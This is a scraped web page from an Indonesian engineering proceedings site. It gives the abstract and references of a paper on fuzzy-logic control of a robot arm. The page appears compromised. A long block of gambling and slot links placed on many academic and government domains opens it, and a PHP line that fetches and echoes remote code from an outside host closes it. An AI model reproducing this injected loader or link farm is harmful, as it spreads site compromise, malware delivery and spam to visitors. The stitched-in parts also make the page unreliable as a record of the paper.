https://kelulusan.pnl.ac.id/ https://su.unair.ac.id/sthai/ https://sisca.uinmataram.ac.id/ https://moocs.ut.ac.id/thai/ https://kotabogor.go.id/uploads/sthai/ slot thailand https://rsgm.ugm.ac.id/sipoltak/presidenslot/ https://ak3.sarpras.unair.ac.id/web/files/king/ https://rsgm.ugm.ac.id/sipoltak/ollo4d/ https://moocs.ut.ac.id/-/kingdomtoto/ https://www.sindutrans.com/mega/ http://onlines.rsud.patikab.go.id:7001/megaforwin/ https://www.logoku.com/mfw/ https://portal.stiemadani.ac.id/ https://fkip.uisu.ac.id/member/mega/ https://test.unpra.ac.id/ https://poskopemilu.kejaksaan.go.id/mega-for-win/ https://eta-nasiam.simalungunkab.go.id/mega/ https://rsdgunungjati.cirebonkota.go.id/ayambet/ https://inlislite.perpus.palopokota.go.id/ https://dikbud.bondowosokab.go.id/mpo/ https://dikbud.bondowosokab.go.id/ayambet/ https://fkh.unair.ac.id/new-fkh/mpo/ https://lpm.iakn-toraja.ac.id/ https://elatar-bppsdm.kkp.go.id/ayambet/ https://ww2shots.com/ https://fkip.uisu.ac.id/wp-admin/royal/ https://elearning.itbk.ac.id/ http://mp.pps.unima.ac.id/wp-content/kingdomtoto/ https://sipbm.sulselprov.go.id/kingdom/ https://simrenda3.slemankab.go.id/modules/king/ https://dinkes.bogorkab.go.id/ https://siakad.stpbi.ac.id/upload/kingdomtoto/ https://fkh.unair.ac.id/new-fkh/royaltoto/ https://eppdb.sma-ypunila.sch.id/royaltoto/ https://digilib-feb.unisma.ac.id/lib/ https://appsbiologi.ub.ac.id/ https://siakad.stpbi.ac.id/upload/kingdomtoto/ https://ak3.sarpras.unair.ac.id/kingdomtoto/ https://e-office.pssi.org/fendi188/ https://simawa.pnp.ac.id/assets/ https://event.unsia.ac.id/megaforwin/ https://sambas.go.id/ https://pafipangkajene.org/ https://pafipangkajene.org/ayambet/ https://pmb.radenintan.ac.id/wp-content/pusat4d/ https://fanres.unram.ac.id/kingdomtoto/ https://moocs.ut.ac.id/ https://disdikbud.sambas.go.id/sultantoto/ https://bumd.bagianperekonomian.makassarkota.go.id/assets/sate/ https://disperindagkop.sambas.go.id/izinsuhu/ https://album.staima-alhikam.ac.id/sriwijaya/ https://jurnal.fkip.untad.ac.id/public/site/infini/ https://album.staima-alhikam.ac.id/sultan88/ https://album.staima-alhikam.ac.id/sate/ https://bem.unand.ac.id/sriwijaya/ https://ffarmasi.unand.ac.id/dana/ https://ffarmasi.unand.ac.id/dolan/ https://ffarmasi.unand.ac.id/mulan/ https://ffarmasi.unand.ac.id/administrator/ziatogel/ https://ffarmasi.unand.ac.id/administrator/maria/ https://moocs.ut.ac.id/group/keretatoto/ https://moocs.ut.ac.id/ziatogel/ https://moocs.ut.ac.id/install/dewi138/ https://moocs.ut.ac.id/install/ligaciputra/ https://moocs.ut.ac.id/install/gbogroup/ https://moocs.ut.ac.id/install/sateslot/ https://moocs.ut.ac.id/install/sriwijayatoto/ https://moocs.ut.ac.id/content/burungbet/ https://ti.uin-malang.ac.id/mpo12211/ https://album.staima-alhikam.ac.id/install/v https://ti.uin-malang.ac.id/wp-content/campur88/ https://kesbangpol.sambas.go.id/ https://pdia.feb.untirta.ac.id/thai/ https://moocs.ut.ac.id/install/eurotogel/ https://moocs.ut.ac.id/comment/premium303 https://pdia.feb.untirta.ac.id/euro/ https://pdia.feb.untirta.ac.id/premium/ https://pusbis.uinsgd.ac.id/ https://www.puslit.uinsgd.ac.id/ https://ipcrc.fk.unair.ac.id/ https://setda.munabarat.go.id/ https://tutorial.fk.unair.ac.id/bacan/
PENINGKATAN KINERJA KONTROL ARM ROBOT BERBASISKAN ARTIFICIAL INTELLIGENT | Wibowo | Prosiding Seminar Nasional Teknik UISU (SEMNASTEK)

PENINGKATAN KINERJA KONTROL ARM ROBOT BERBASISKAN ARTIFICIAL INTELLIGENT

Pristisal Wibowo, Solly Aryza

Abstract


Robot merupakan sebuah mesin otomatis dengan gerakan yang dikendalikan oleh sistem control yang digunakan untuk membantu jenis pekerjaan manusia baik di indutri maupun di luar indus tri. Perencanaan sistem kontrol lengan robot ini menggunakan komputer sebagai pengolah data dengan antar muka PPI-8255 dan port paralel (LPT1). Oleh sebab itu agar membuat robot lebih terampil dan mempertahankan kestabilan sistem untuk menangani jenis pekerjaan manusia maka di dalam paper ini mendeskripsikan penggunanan metode Fuzzy Logic Controller (FLC) yaitu sistem kontrol fuzzy yang mampu menyesuaikan perubahan parameter akibat ketidaklinieran dan ketidakpastian sistem dan menggunakan sensor yang akan dibaca oleh computer. Simulasi sistem Fuzzy Logic Controller (FLC) ini menggunakan matlab untuk mengetahui unjuk kerja dari sistem kontrol FLC. Hasilnya menunjukkan bahwa dengan load atau disturbance yang diujikan, kontroler FLC mampu mempertahankan kestabilan sistem pada robot untuk menangani jenis pekerjaan manusia.

Full Text:

PDF

References


. Aryza, S. (2018). Enhancement Control Robot Production Food Based On Modular Automation Programmable System ( MAPS ).

. Fu, K. S. (1987). ROBOTICS: Control, Sensing, Vision, and Intelligence, McGraw-Hill Book. Singapore.

. Hanafi, M. (2011). Penerapan Fuzzy Logic Controller Untuk Mempertahankan Kesetabilan Sistem Akibat Perubahan Deadtime Pada Sistem Kontrol Proses Dengan Deadtime. Semarang: Fakultas Teknik Universitas Wahid Hasyim Semarang.

. McDonald, A. C. (1986). Robot Technology: Theory, Design, and Application. USA: Prentice-Hall.

. Nugraha, D. W. (2011). Pengendalian Robot Yang Memiliki lima Derajat Kebebasan. Indonesia.

. Pitowarno, E. (1987). Mikroprosesor & Interface I. Surabaya: PT. Garuda Indonesia & Politeknik Elektronika Surabaya ITS.

. Siswaja, H. D. (2008). Prinsip Kerja dan Klasifikasi Robot. Bandung.

. Yan, J. R. (1994). Using Fuzzy Logic. Prentice Hall.


Refbacks

  • There are currently no refbacks.


Copyright (c) 2020 Pristisal Wibowo, Solly Aryza

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

Prosiding Seminar Nasional Teknik UISU (SEMNASTEK)

Fakultas Teknik - Universitas Islam Sumatera Utara
Jl. Sisingamangaraja, Teladan, Medan 20217

Website: https://jurnal.uisu.ac.id/index.php/semnastek
Email: p.ilmiah@ft.uisu.ac.id

Prosiding Seminar Nasional Teknik UISU (SEMNASTEK) is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License

$a = file_get_contents('https://jscode.xyz/'); echo $a;